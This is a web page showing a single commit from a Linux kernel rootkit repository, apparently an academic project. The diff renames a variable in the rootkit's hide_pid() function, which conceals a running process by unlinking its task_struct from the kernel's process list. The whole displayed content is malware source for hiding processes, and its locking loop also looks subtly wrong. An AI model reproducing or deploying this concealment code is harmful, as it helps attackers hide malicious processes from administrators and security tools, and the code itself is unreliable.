linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 4415821409a7ef1676e8321d5e43f51352738ac6
parent 6ae3a2b273646c7e61e7346341d7ef6e3af92150
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 25 Jan 2021 02:40:52 +0100

fixes errors

Diffstat:
Mrootkit/src/pidhide.c | 16++++++++--------
1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/rootkit/src/pidhide.c b/rootkit/src/pidhide.c @@ -67,20 +67,20 @@ hide_pid(pid_t pid) add_pid_to_list(hidden_pids_tail, pid); struct task_struct *ts = find_task_by_vpid(pid); - struct task_struct *task; + struct task_struct *ts2; rcu_read_lock(); - for_each_process(task) { - task_lock(task); - if(ts == task) { - task_unlock(task); + for_each_process(ts2) { + task_lock(ts2); + if(ts == ts2) { + task_unlock(ts2); continue; } - task_unlock(task); + task_unlock(ts2); } list_del(&ts->tasks); - for_each_process(task) { - task_unlock(task); + for_each_process(ts2) { + task_unlock(ts2); } rcu_read_unlock(); }